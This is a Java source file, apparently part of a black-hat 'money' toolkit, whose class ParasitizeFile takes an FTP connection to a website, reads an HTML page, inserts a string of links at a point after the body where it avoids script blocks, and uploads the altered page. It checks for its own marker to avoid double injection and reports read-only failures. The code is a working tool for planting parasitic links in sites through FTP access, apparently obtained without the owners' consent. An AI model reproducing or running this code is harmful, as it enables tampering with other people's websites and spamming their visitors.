package jude.java.money.black;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Reader;

import jude.java.money.task.TaskContext;
import jude.java.util.Utils;

import org.apache.commons.net.ftp.FTPClient;
import org.apache.commons.net.ftp.FTPFile;

public class ParasitizeFile {
	
	public static final int FAIL = 0;		//失败
	public static final int SUCCESS = 1;	//成功
	public static final int EXISTS = 2;		//已经成功
	public static final int IMPROPER = 3;	//不合适的, 没有找到切入点
	public static final int READONLY = 4;	//只读
	
	private FTPClient ftp;
	private FTPFile file;
	
	public ParasitizeFile(FTPClient ftp, FTPFile file) {
		this.ftp = ftp;
		this.file = file;
	}
	
	public int addLinks(byte[] buff, String links) throws IOException {
		boolean changed = false;
		TaskContext.signal(1000);
		StringBuilder content = read(buff, "ISO-8859-1");
		if (content == null) {
			return FAIL;
		}
		if (!HeiSetting.UPDATE && (content.indexOf(HeiSetting.IDENTITY_PERFIX) != -1)) {
			return EXISTS;
		}
		if (HeiSetting.TIDY) {
			int len = content.length();
			String s = content.toString();
			TaskContext.signal(1001);
			String t = HeiSetting.tidy2(s);
			if (t == null)
				return EXISTS;
			if (len != t.length()) {
				content = new StringBuilder(t);
				changed = true;
			}
		}
		TaskContext.signal(1002);
		String str = content.toString().toLowerCase();
		int len = str.length();
//		int pos = 0;
		String[] points = HeiSetting.POINTS;
		int start = Math.max(10, str.indexOf("<body")) + 50;
		start = Math.max(start, len / 3);
		for (int j = 0; j < points.length; j++) {
			int f = str.indexOf(points[j], start);
			if (f > 0) {
				if (Utils.inScript(str, f))
					continue;
				content.insert(f, links);
				changed = true;
//				pos = f;
				break;
			}
		}
//		if (changed && len > 10 * 1024 && pos < len / 2) {
//			for (int j = 0; j < points.length; j++) {
//				int f = str.indexOf(points[j], len / 2 + 5);
//				if (f != -1) {
//					if (Utils.inScript(str, f))
//						continue;
//					content.insert(f + links.length(), links);
//					changed = true;
//					break;
//				}
//			}
//		}
		if (changed) {
			byte[] buffer = content.toString().getBytes("ISO-8859-1");
			TaskContext.signal(1003);
			if (ftp.storeFile(file.getName(), new ByteArrayInputStream(buffer))) {
				return SUCCESS;
			} else {
				if (ftp.getReplyCode() == 550)
					return READONLY;
				return FAIL;
			}
		}
		return IMPROPER;
	}

	
	private static StringBuilder read(byte[] content, String encode) {
		try {
			StringBuilder r = new StringBuilder();
			Reader reader = new InputStreamReader(new ByteArrayInputStream(content), encode);
			char[] buffer = new char[4096];
			int n;
			while ((n = reader.read(buffer)) > 0) {
				r.append(buffer, 0, n);
			}
			return r;
		} catch (Exception e) {
			e.printStackTrace();
		}
		return null;
	}
}
